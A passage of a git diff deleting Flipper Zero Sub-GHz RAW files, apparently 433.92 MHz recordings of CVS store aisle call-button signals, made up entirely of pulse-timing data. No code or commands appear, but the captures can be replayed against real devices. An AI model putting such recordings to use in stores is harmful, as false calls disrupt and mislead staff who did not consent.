-4592 792 -744 1560 -1516 792 -744 1560 -1520 832 -736 1552 -740 1584 -744 1548 -744 1584 -740 1548 -740 1588 -744 1544 -748 1584 -740 1552 -740 1588 -740 1548 -740 1588 -744 1544 -744 1584 -740 1552 -740 1584 -740 1552 -744 1584 -744 1544 -744 1580 -1508 780 -1508 820 -1504 788 -1500 824 -1504 784 -1504 820 -1512 780 -1500 828 -1504 780 -1508 824 -1504 780 -744 1588 -1500 784 -740 1584 -1508 780 -1504 820 -4592 784 -752 1556 -1516 788 -744 1560 -1516 832 -736 1552 -740 1584 -744 1544 -740 1588 -736 1548 -744 1584 -744 1548 -740 1584 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -736 1588 -736 1548 -740 1588 -748 1544 -744 1584 -736 1552 -736 1588 -1504 788 -1500 824 -1504 784 -1504 820 -1508 780 -1504 824 -1504 776 -1508 824 -1504 784 -1504 828 -1504 780 -740 1584 -1508 780 -740 1580 -1508 780 -1508 800 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Seventeen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Seventeen.sub deleted file mode 100644 index 7220e9bef..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Seventeen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1552 -1516 784 -748 1556 -1520 824 -744 1540 -748 1576 -748 1540 -744 1584 -740 1544 -744 1580 -744 1544 -740 1588 -740 1544 -744 1580 -748 1544 -744 1576 -748 1544 -744 1580 -744 1544 -744 1580 -748 1540 -744 1580 -748 1540 -744 1580 -1508 780 -1508 824 -1504 780 -744 1580 -1508 780 -740 1580 -1504 784 -1504 824 -1508 776 -1508 820 -1504 780 -1504 828 -1508 776 -748 1580 -1504 784 -740 1576 -4588 784 -756 1548 -1520 788 -748 1552 -1520 824 -748 1540 -748 1580 -744 1540 -748 1580 -748 1540 -744 1584 -744 1544 -744 1580 -744 1548 -740 1584 -748 1540 -744 1584 -740 1544 -748 1580 -748 1544 -740 1584 -748 1540 -748 1576 -748 1544 -744 1580 -1508 780 -1504 828 -1504 780 -748 1580 -1504 784 -740 1580 -1504 784 -1504 824 -1504 780 -1508 816 -1512 776 -1504 828 -1508 780 -744 1584 -1504 780 -740 1580 -4588 788 -748 1556 -1520 784 -752 1552 -1520 824 -748 1540 -748 1584 -740 1544 -744 1580 -748 1544 -740 1584 -744 1540 -748 1580 -744 1540 -748 1580 -748 1540 -740 1588 -740 1544 -744 1584 -748 1544 -740 1580 -748 1540 -748 1580 -740 1548 -744 1580 -1500 788 -1504 824 -1504 784 -740 1580 -1512 776 -744 1580 -1504 780 -1508 816 -1504 788 -1500 824 -1504 780 -1508 824 -1504 780 -744 1584 -1500 784 -744 1572 -4592 784 -748 1556 -1516 788 -748 1556 -1516 828 -744 1544 -740 1588 -736 1548 -744 1584 -744 1544 -744 1584 -740 1544 -744 1588 -744 1544 -744 1584 -740 1548 -744 1584 -744 1544 -736 1588 -744 1544 -744 1584 -740 1548 -740 1580 -748 1548 -740 1584 -1504 780 -1504 828 -1508 780 -748 1576 -1508 784 -740 1580 -1508 780 -1504 824 -1504 784 -1504 824 -1500 784 -1508 824 -1504 784 -740 1584 -1504 784 -744 1576 -4584 792 -748 1560 -1520 784 -752 1556 -1512 832 -744 1544 -744 1584 -740 1548 -740 1584 -744 1544 -740 1592 -736 1552 -740 1588 -744 1544 -740 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1580 -1504 780 -1508 828 -1504 784 -740 1584 -1504 784 -744 1580 -1504 780 -1504 824 -1504 780 -1504 824 -1504 784 -1504 828 -1500 784 -744 1584 -1504 784 -744 1580 -4584 792 -748 1556 -1516 792 -744 1556 -1516 828 -744 1548 -736 1588 -744 1544 -744 1584 -744 1548 -736 1588 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -748 1544 -740 1588 -740 1548 -744 1584 -744 1544 -740 1588 -744 1548 -740 1584 -1504 784 -1504 828 -1504 784 -740 1588 -1504 784 -740 1584 -1500 784 -1504 824 -1504 780 -1508 816 -1508 780 -1504 828 -1508 784 -744 1584 -1504 784 -740 1576 -4596 788 -744 1560 -1516 788 -748 1560 -1516 -RAW_Data: 828 -740 1544 -748 1580 -744 1552 -736 1588 -740 1548 -744 1584 -744 1544 -740 1588 -740 1544 -748 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1552 -740 1584 -1500 788 -1504 828 -1500 788 -736 1588 -1504 784 -744 1580 -1500 784 -1504 824 -1504 780 -1500 828 -1504 784 -1500 828 -1504 788 -736 1588 -1500 784 -744 1580 -4584 792 -748 1556 -1520 788 -744 1560 -1516 828 -740 1548 -736 1588 -744 1548 -744 1588 -736 1548 -736 1592 -744 1544 -740 1588 -736 1552 -740 1584 -744 1548 -736 1592 -736 1548 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -736 1552 -740 1584 -1504 784 -1504 828 -1500 784 -740 1588 -1504 784 -740 1584 -1504 776 -1508 824 -1500 788 -1500 820 -1508 776 -1504 828 -1504 784 -744 1584 -1500 784 -740 1584 -4584 788 -744 1564 -1508 792 -744 1560 -1516 832 -736 1548 -740 1584 -744 1544 -740 1584 -744 1544 -740 1584 -740 1548 -740 1588 -736 1544 -748 1584 -736 1548 -740 1588 -744 1544 -736 1592 -740 1548 -740 1584 -744 1548 -740 1584 -744 1544 -740 1580 -1508 784 -1504 824 -1508 780 -740 1588 -1500 784 -744 1580 -1500 784 -1500 828 -1500 788 -1500 824 -1504 784 -1500 828 -1504 784 -744 1584 -1504 784 -740 1580 -4580 792 -748 1560 -1516 788 -740 1564 -1516 828 -736 1548 -744 1580 -740 1548 -740 1584 -744 1544 -740 1584 -748 1544 -740 1588 -736 1548 -740 1588 -740 1544 -744 1584 -744 1544 -740 1584 -740 1548 -740 1584 -740 1548 -744 1580 -740 1548 -744 1584 -1500 784 -1504 828 -1504 784 -740 1580 -1508 784 -740 1580 -1504 784 -1504 820 -1508 776 -1504 824 -1504 784 -1504 824 -1504 784 -740 1584 -1504 784 -744 1556 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Six.sub b/assets/resources/subghz/Stores/CVS/Aisle_Six.sub deleted file mode 100644 index 71cd80fda..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Six.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 792 -740 1560 -1516 828 -740 1548 -736 1588 -740 1540 -744 1588 -736 1548 -740 1588 -736 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1548 -744 1580 -740 1548 -744 1588 -1500 784 -740 1584 -1500 788 -1500 824 -1504 784 -1500 828 -1500 784 -1504 828 -1500 788 -740 1580 -1504 784 -1500 832 -1500 784 -744 1584 -1500 788 -736 1580 -4588 792 -744 1564 -1516 788 -744 1560 -1512 832 -740 1548 -740 1584 -740 1548 -740 1584 -740 1552 -740 1580 -740 1552 -740 1584 -740 1548 -744 1580 -740 1552 -740 1584 -740 1548 -740 1588 -740 1548 -744 1584 -736 1548 -744 1584 -740 1552 -736 1592 -1500 784 -740 1584 -1504 784 -1504 824 -1500 784 -1508 820 -1500 784 -1508 824 -1508 780 -740 1584 -1500 784 -1500 832 -1504 788 -740 1584 -1504 780 -744 1580 -4588 792 -744 1560 -1516 792 -744 1560 -1516 824 -744 1548 -744 1588 -740 1548 -736 1592 -740 1544 -740 1592 -740 1544 -744 1584 -740 1552 -740 1584 -740 1548 -744 1584 -740 1552 -740 1588 -736 1552 -744 1584 -736 1552 -740 1584 -740 1552 -740 1588 -1504 784 -740 1580 -1504 784 -1504 824 -1504 784 -1504 824 -1500 788 -1500 828 -1508 780 -744 1580 -1504 784 -1504 828 -1504 784 -740 1588 -1504 784 -744 1576 -4588 792 -744 1560 -1520 788 -744 1564 -1516 828 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -744 1584 -740 1548 -744 1580 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1592 -1500 788 -740 1580 -1504 784 -1508 820 -1500 788 -1500 824 -1504 784 -1500 828 -1504 784 -744 1580 -1504 784 -1504 828 -1504 784 -736 1592 -1500 788 -744 1580 -4588 788 -748 1556 -1520 788 -744 1560 -1516 832 -736 1548 -744 1584 -740 1544 -744 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -736 1548 -740 1588 -740 1548 -736 1592 -736 1548 -740 1588 -740 1548 -736 1592 -736 1548 -740 1592 -1500 788 -740 1584 -1500 784 -1504 824 -1500 788 -1500 820 -1504 788 -1500 832 -1500 784 -740 1584 -1500 784 -1500 832 -1496 788 -744 1584 -1508 780 -744 1576 -4588 788 -748 1560 -1512 796 -744 1556 -1516 832 -736 1548 -740 1592 -740 1544 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -736 1556 -736 1588 -736 1552 -740 1584 -748 1548 -736 1588 -740 1548 -740 1588 -744 1544 -740 1592 -1504 784 -744 1580 -1500 788 -1500 824 -1500 792 -1500 824 -1504 784 -1504 828 -1500 788 -744 1576 -1504 784 -1508 824 -1508 780 -740 1592 -1500 788 -740 1584 -4588 792 -744 1560 -1516 796 -740 1564 -1516 -RAW_Data: 828 -740 1556 -736 1588 -740 1544 -744 1588 -744 1544 -740 1588 -744 1548 -744 1584 -740 1552 -740 1588 -744 1548 -740 1584 -740 1552 -736 1592 -740 1548 -740 1588 -744 1544 -740 1592 -736 1552 -740 1588 -1508 784 -740 1580 -1504 788 -1504 824 -1504 784 -1504 820 -1504 788 -1504 828 -1504 784 -740 1584 -1504 784 -1504 828 -1508 780 -740 1592 -1504 784 -744 1580 -4584 792 -748 1560 -1516 788 -748 1560 -1516 828 -744 1548 -744 1580 -740 1552 -744 1584 -740 1548 -740 1588 -740 1548 -740 1592 -740 1544 -740 1592 -740 1548 -736 1588 -744 1544 -744 1584 -740 1552 -740 1588 -740 1548 -744 1580 -740 1552 -740 1588 -1508 784 -736 1588 -1504 780 -1504 828 -1500 788 -1500 824 -1508 784 -1500 832 -1500 788 -740 1584 -1500 792 -1500 832 -1500 784 -740 1588 -1500 792 -740 1580 -4588 792 -744 1560 -1520 788 -744 1564 -1516 828 -740 1552 -740 1584 -744 1548 -740 1592 -736 1548 -740 1592 -736 1552 -744 1584 -740 1552 -740 1588 -744 1544 -744 1588 -740 1552 -744 1584 -736 1556 -736 1588 -744 1552 -736 1592 -740 1544 -744 1592 -1500 792 -736 1584 -1504 788 -1496 828 -1508 780 -1500 828 -1500 788 -1504 828 -1504 784 -740 1584 -1504 784 -1508 824 -1508 784 -740 1588 -1500 784 -740 1584 -4592 788 -748 1560 -1512 792 -748 1560 -1516 832 -736 1552 -740 1584 -740 1552 -744 1580 -744 1552 -736 1588 -744 1544 -744 1588 -740 1548 -740 1588 -740 1552 -744 1584 -740 1552 -740 1588 -744 1544 -740 1592 -740 1548 -744 1584 -740 1552 -744 1588 -1504 784 -740 1588 -1504 784 -1504 824 -1500 788 -1504 824 -1504 784 -1500 832 -1504 788 -740 1580 -1504 788 -1500 828 -1504 784 -744 1584 -1504 788 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Sixteen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Sixteen.sub deleted file mode 100644 index 05fc4813e..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Sixteen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 792 -744 1560 -1516 828 -740 1544 -740 1584 -740 1548 -744 1584 -736 1548 -740 1588 -740 1544 -740 1584 -744 1544 -740 1584 -744 1544 -740 1592 -736 1548 -736 1588 -744 1544 -736 1592 -740 1540 -740 1588 -740 1548 -740 1588 -1504 788 -740 1584 -1504 784 -740 1584 -1504 780 -744 1580 -1500 784 -1504 824 -1500 788 -1504 820 -1504 784 -1500 828 -1504 784 -744 1584 -1504 784 -744 1576 -4584 792 -744 1560 -1516 788 -748 1564 -1512 828 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1552 -740 1584 -736 1552 -744 1584 -736 1548 -740 1588 -744 1544 -740 1592 -740 1540 -740 1592 -736 1548 -740 1588 -744 1540 -744 1592 -1504 784 -740 1584 -1504 784 -744 1580 -1504 788 -736 1580 -1508 784 -1500 824 -1500 784 -1508 820 -1500 788 -1504 832 -1500 784 -736 1592 -1500 788 -740 1580 -4584 796 -744 1560 -1512 796 -744 1564 -1512 824 -744 1548 -740 1588 -740 1548 -740 1588 -744 1540 -748 1588 -736 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1544 -740 1588 -744 1544 -736 1592 -1500 792 -736 1588 -1500 784 -740 1588 -1504 784 -744 1576 -1504 788 -1500 824 -1504 780 -1500 828 -1500 784 -1500 828 -1508 780 -740 1588 -1504 784 -740 1576 -4588 792 -744 1560 -1516 788 -748 1560 -1516 824 -744 1548 -740 1584 -740 1552 -736 1580 -744 1552 -736 1588 -736 1552 -740 1588 -740 1544 -744 1584 -744 1548 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1592 -1500 784 -740 1588 -1500 784 -740 1592 -1500 784 -740 1584 -1500 784 -1504 824 -1500 788 -1500 824 -1504 784 -1500 832 -1496 792 -740 1584 -1504 784 -744 1576 -4592 792 -744 1560 -1512 792 -748 1560 -1512 828 -740 1552 -740 1580 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1548 -736 1588 -744 1544 -740 1588 -740 1548 -740 1592 -740 1544 -740 1588 -740 1548 -736 1592 -1504 788 -740 1584 -1504 784 -744 1584 -1500 792 -740 1576 -1508 784 -1500 824 -1504 788 -1496 824 -1508 784 -1500 832 -1500 780 -744 1584 -1504 784 -740 1580 -4592 784 -752 1560 -1512 792 -744 1564 -1512 832 -740 1548 -740 1592 -740 1548 -740 1584 -744 1544 -744 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1588 -740 1552 -736 1584 -740 1556 -736 1588 -740 1552 -736 1588 -740 1552 -740 1592 -1504 780 -736 1592 -1504 780 -740 1592 -1500 788 -740 1584 -1500 784 -1504 828 -1496 792 -1500 824 -1504 784 -1504 828 -1504 784 -740 1584 -1508 784 -736 1580 -4588 792 -748 1560 -1512 792 -744 1564 -1512 -RAW_Data: 832 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1592 -740 1544 -740 1592 -736 1548 -740 1588 -744 1548 -744 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1588 -1508 780 -744 1584 -1504 788 -736 1592 -1500 784 -744 1580 -1508 784 -1504 820 -1504 784 -1504 824 -1504 784 -1504 828 -1508 780 -740 1588 -1508 780 -740 1580 -4592 784 -752 1560 -1516 788 -748 1556 -1520 828 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1552 -736 1588 -740 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1588 -744 1544 -740 1588 -744 1544 -740 1592 -1504 784 -740 1584 -1504 788 -740 1580 -1508 788 -740 1576 -1504 788 -1500 824 -1500 788 -1496 832 -1500 784 -1508 824 -1504 784 -740 1588 -1504 784 -736 1584 -4588 796 -744 1556 -1516 792 -744 1560 -1516 832 -740 1548 -740 1584 -740 1556 -740 1584 -740 1552 -740 1588 -736 1548 -744 1588 -740 1548 -740 1588 -740 1552 -740 1580 -744 1552 -740 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1592 -1500 792 -740 1584 -1508 780 -744 1588 -1500 784 -744 1584 -1500 784 -1508 820 -1500 788 -1504 820 -1508 784 -1500 832 -1500 788 -744 1584 -1500 784 -740 1584 -4588 792 -748 1556 -1516 792 -744 1560 -1516 832 -740 1548 -740 1588 -736 1552 -744 1584 -740 1548 -740 1588 -744 1544 -740 1588 -744 1548 -740 1588 -736 1552 -744 1584 -736 1552 -744 1584 -744 1544 -740 1588 -744 1544 -740 1588 -744 1544 -740 1592 -1500 788 -740 1584 -1504 788 -740 1584 -1504 780 -744 1584 -1504 780 -1508 824 -1500 784 -1508 820 -1504 784 -1500 828 -1504 784 -744 1580 -1512 780 -740 1564 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Ten.sub b/assets/resources/subghz/Stores/CVS/Aisle_Ten.sub deleted file mode 100644 index 6aa477d61..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Ten.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1560 -1512 784 -752 1556 -1520 824 -740 1548 -740 1584 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -736 1588 -744 1544 -744 1584 -740 1552 -740 1580 -744 1548 -744 1584 -740 1548 -744 1584 -744 1540 -744 1588 -740 1540 -748 1588 -1500 784 -744 1580 -1508 780 -1504 828 -1500 788 -740 1584 -1504 784 -740 1580 -1500 788 -1504 820 -1504 784 -1500 832 -1500 784 -744 1584 -1500 784 -744 1580 -4584 788 -748 1556 -1516 792 -752 1556 -1516 824 -744 1548 -740 1584 -744 1544 -748 1580 -740 1552 -740 1584 -740 1544 -744 1584 -740 1548 -744 1584 -736 1552 -744 1584 -736 1548 -744 1580 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -740 1588 -1508 784 -740 1580 -1504 784 -1508 820 -1512 780 -740 1584 -1508 780 -740 1584 -1504 784 -1504 820 -1504 780 -1508 824 -1504 784 -744 1584 -1508 780 -744 1580 -4584 792 -744 1560 -1516 788 -748 1556 -1516 832 -740 1548 -740 1588 -744 1544 -744 1580 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -744 1548 -740 1584 -744 1544 -748 1580 -744 1548 -744 1588 -1504 788 -740 1580 -1504 784 -1508 828 -1500 788 -740 1584 -1508 784 -740 1584 -1504 780 -1508 820 -1508 780 -1508 820 -1504 788 -740 1588 -1504 784 -740 1580 -4588 792 -748 1556 -1516 792 -748 1556 -1520 828 -740 1548 -740 1588 -740 1544 -740 1588 -740 1548 -744 1588 -736 1548 -740 1584 -744 1548 -744 1588 -736 1548 -740 1588 -744 1540 -744 1588 -736 1548 -740 1588 -744 1544 -744 1584 -740 1548 -736 1592 -1504 784 -740 1584 -1504 780 -1504 832 -1504 780 -744 1584 -1508 780 -744 1576 -1508 784 -1504 820 -1504 788 -1504 824 -1504 788 -740 1584 -1504 784 -740 1580 -4592 784 -748 1564 -1512 788 -752 1556 -1516 828 -740 1548 -744 1584 -740 1548 -744 1588 -740 1548 -740 1588 -744 1544 -740 1588 -744 1544 -744 1584 -740 1548 -748 1584 -736 1548 -748 1584 -744 1548 -736 1588 -744 1544 -740 1588 -740 1544 -748 1588 -1504 780 -744 1580 -1504 784 -1504 824 -1508 784 -740 1588 -1504 784 -740 1580 -1504 784 -1508 824 -1500 784 -1508 824 -1508 784 -736 1584 -1508 788 -740 1580 -4584 788 -752 1556 -1520 788 -748 1556 -1516 828 -748 1540 -744 1588 -740 1548 -744 1588 -740 1548 -740 1588 -744 1544 -744 1584 -744 1544 -740 1588 -736 1548 -744 1584 -748 1548 -740 1588 -740 1544 -748 1580 -748 1544 -744 1584 -740 1548 -744 1584 -1508 784 -744 1576 -1504 788 -1500 832 -1500 784 -744 1584 -1504 784 -744 1580 -1500 788 -1504 820 -1504 784 -1504 828 -1500 788 -740 1588 -1504 784 -740 1584 -4588 788 -748 1560 -1516 784 -752 1556 -1516 -RAW_Data: 832 -740 1548 -736 1588 -740 1548 -740 1588 -740 1540 -744 1584 -744 1548 -740 1584 -744 1544 -740 1588 -740 1548 -744 1580 -740 1548 -744 1584 -744 1544 -736 1592 -740 1544 -744 1584 -744 1544 -744 1584 -1508 784 -744 1572 -1508 784 -1504 828 -1504 780 -744 1588 -1500 784 -740 1584 -1500 784 -1508 824 -1500 784 -1508 820 -1508 784 -740 1588 -1504 784 -740 1576 -4588 792 -748 1556 -1516 788 -752 1556 -1516 828 -736 1552 -744 1584 -736 1548 -744 1584 -744 1544 -740 1588 -744 1544 -744 1584 -744 1548 -740 1584 -740 1548 -744 1584 -740 1548 -744 1584 -744 1544 -744 1588 -744 1540 -744 1588 -744 1544 -740 1588 -1504 784 -744 1576 -1508 784 -1504 828 -1508 780 -740 1584 -1508 784 -740 1580 -1504 784 -1508 820 -1500 788 -1504 828 -1508 780 -740 1588 -1504 784 -740 1580 -4592 792 -744 1560 -1516 792 -748 1556 -1516 832 -744 1544 -740 1588 -740 1544 -744 1588 -740 1548 -736 1588 -744 1548 -740 1588 -740 1548 -744 1584 -740 1544 -744 1588 -740 1548 -744 1580 -740 1548 -744 1584 -744 1544 -744 1580 -744 1548 -744 1588 -1504 784 -740 1584 -1504 784 -1504 824 -1508 780 -744 1588 -1500 788 -744 1576 -1508 784 -1500 824 -1504 784 -1500 832 -1500 784 -744 1584 -1504 784 -740 1580 -4584 792 -744 1560 -1512 792 -748 1560 -1512 832 -740 1548 -736 1588 -744 1544 -744 1584 -740 1552 -736 1588 -736 1548 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1544 -744 1588 -740 1548 -744 1584 -740 1544 -744 1580 -744 1548 -740 1592 -1508 776 -744 1580 -1508 780 -1500 832 -1504 784 -744 1584 -1500 784 -744 1580 -1508 780 -1504 824 -1504 780 -1508 824 -1508 780 -740 1584 -1508 780 -744 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Thirteen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Thirteen.sub deleted file mode 100644 index ba09b8012..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Thirteen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 808 -744 1560 -1508 792 -748 1556 -1512 832 -740 1544 -744 1584 -740 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -744 1544 -740 1588 -744 1544 -740 1588 -740 1544 -740 1588 -1500 788 -1500 832 -1500 784 -740 1584 -1496 788 -1504 828 -1504 784 -744 1576 -1504 784 -1504 832 -1496 788 -736 1584 -1500 788 -1500 824 -1504 784 -1504 820 -4588 792 -748 1560 -1516 792 -744 1560 -1516 832 -736 1552 -740 1588 -736 1548 -740 1588 -740 1548 -740 1588 -740 1544 -744 1588 -736 1552 -740 1584 -744 1548 -740 1584 -744 1548 -744 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1548 -740 1584 -1500 788 -1500 828 -1504 784 -740 1580 -1504 784 -1504 828 -1500 784 -740 1584 -1504 784 -1500 832 -1504 784 -736 1584 -1504 780 -1504 824 -1504 784 -1504 820 -4584 792 -748 1556 -1516 792 -744 1560 -1516 828 -744 1544 -744 1584 -740 1552 -740 1584 -740 1548 -740 1588 -740 1548 -736 1592 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -740 1584 -1504 784 -1500 832 -1500 788 -736 1584 -1500 788 -1500 828 -1504 784 -740 1584 -1500 784 -1508 828 -1500 784 -740 1588 -1500 784 -1500 824 -1504 784 -1504 824 -4588 788 -748 1560 -1512 796 -744 1560 -1512 832 -740 1548 -740 1584 -740 1552 -736 1592 -740 1548 -740 1588 -740 1544 -744 1588 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -736 1552 -744 1584 -740 1548 -740 1584 -1500 788 -1500 832 -1500 784 -740 1584 -1500 788 -1500 828 -1504 784 -740 1580 -1504 784 -1504 828 -1500 784 -744 1580 -1504 784 -1504 824 -1508 780 -1504 820 -4588 788 -748 1560 -1516 788 -748 1560 -1512 832 -740 1552 -740 1584 -740 1548 -744 1584 -740 1552 -736 1592 -736 1548 -740 1588 -740 1548 -744 1584 -744 1548 -740 1584 -740 1552 -736 1592 -740 1548 -744 1580 -740 1552 -740 1588 -744 1544 -740 1588 -1504 784 -1504 832 -1496 788 -744 1576 -1504 788 -1500 828 -1504 788 -740 1584 -1496 792 -1500 828 -1504 788 -740 1580 -1500 788 -1504 820 -1504 784 -1500 824 -4588 792 -748 1560 -1516 788 -744 1560 -1512 836 -736 1552 -736 1588 -744 1544 -744 1584 -740 1552 -744 1580 -744 1548 -740 1588 -740 1548 -744 1584 -744 1548 -740 1584 -744 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -744 1544 -744 1584 -1500 792 -1496 832 -1504 784 -740 1584 -1500 788 -1500 828 -1504 788 -736 1584 -1504 788 -1500 828 -1504 784 -744 1576 -1508 780 -1504 824 -1500 784 -1504 824 -4584 792 -744 1560 -1516 796 -740 1560 -1520 -RAW_Data: 828 -744 1544 -740 1588 -740 1548 -740 1592 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1544 -740 1592 -736 1548 -744 1584 -744 1548 -732 1592 -740 1548 -736 1596 -736 1552 -736 1584 -1508 784 -1504 828 -1504 784 -736 1584 -1500 788 -1504 824 -1508 780 -740 1580 -1508 780 -1504 828 -1500 788 -744 1580 -1504 776 -1508 824 -1504 784 -1500 824 -4580 796 -744 1560 -1512 796 -740 1560 -1516 828 -744 1544 -744 1584 -736 1552 -736 1592 -740 1548 -736 1592 -736 1552 -740 1584 -736 1552 -744 1584 -740 1544 -744 1588 -740 1548 -740 1584 -740 1548 -744 1580 -748 1544 -740 1584 -744 1548 -736 1588 -1504 784 -1500 832 -1504 780 -744 1580 -1504 784 -1500 828 -1504 784 -744 1580 -1500 784 -1504 832 -1496 788 -744 1584 -1496 788 -1504 820 -1508 784 -1496 828 -4584 792 -744 1560 -1516 792 -748 1560 -1512 832 -740 1552 -736 1588 -740 1548 -744 1580 -744 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1592 -736 1548 -744 1584 -736 1556 -736 1588 -736 1556 -736 1584 -736 1552 -740 1588 -744 1544 -736 1588 -1508 780 -1500 832 -1504 784 -736 1584 -1504 780 -1504 828 -1504 784 -740 1580 -1500 788 -1504 824 -1500 788 -740 1580 -1504 784 -1500 828 -1500 784 -1500 824 -4584 788 -748 1560 -1512 792 -744 1560 -1516 832 -736 1548 -736 1588 -744 1544 -744 1580 -740 1548 -740 1584 -740 1548 -740 1584 -744 1544 -740 1588 -740 1544 -744 1584 -740 1548 -740 1584 -740 1548 -740 1584 -744 1544 -744 1580 -740 1552 -736 1584 -1504 784 -1504 832 -1496 784 -740 1580 -1504 784 -1504 828 -1504 784 -740 1576 -1500 788 -1504 824 -1504 784 -744 1580 -1496 788 -1500 824 -1504 780 -1500 804 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Three.sub b/assets/resources/subghz/Stores/CVS/Aisle_Three.sub deleted file mode 100644 index 174fba31d..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Three.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1516 788 -744 1560 -1516 828 -744 1544 -744 1580 -744 1548 -736 1588 -740 1548 -740 1584 -744 1548 -736 1588 -740 1548 -744 1580 -744 1544 -744 1584 -744 1544 -740 1588 -740 1548 -744 1584 -740 1544 -744 1584 -740 1548 -740 1588 -1500 788 -1500 824 -1508 784 -1500 828 -1504 784 -740 1584 -1504 784 -1500 828 -1508 780 -740 1584 -1504 784 -1504 824 -1504 788 -740 1584 -1504 780 -744 1580 -4588 792 -744 1560 -1512 792 -748 1560 -1512 832 -740 1548 -736 1588 -744 1544 -744 1584 -744 1544 -744 1584 -744 1544 -740 1592 -740 1544 -744 1580 -744 1544 -748 1584 -740 1548 -744 1584 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -1504 784 -1504 824 -1504 784 -1504 828 -1504 784 -740 1580 -1504 788 -1500 828 -1508 784 -740 1580 -1508 780 -1508 824 -1508 780 -744 1584 -1504 784 -740 1580 -4588 792 -748 1560 -1512 792 -744 1564 -1512 832 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -736 1556 -736 1588 -740 1548 -740 1584 -740 1552 -736 1588 -736 1556 -740 1584 -740 1548 -744 1580 -744 1544 -744 1584 -744 1548 -736 1584 -1504 788 -1500 824 -1500 784 -1508 824 -1504 784 -740 1584 -1500 784 -1504 828 -1504 784 -736 1588 -1500 784 -1504 828 -1504 784 -740 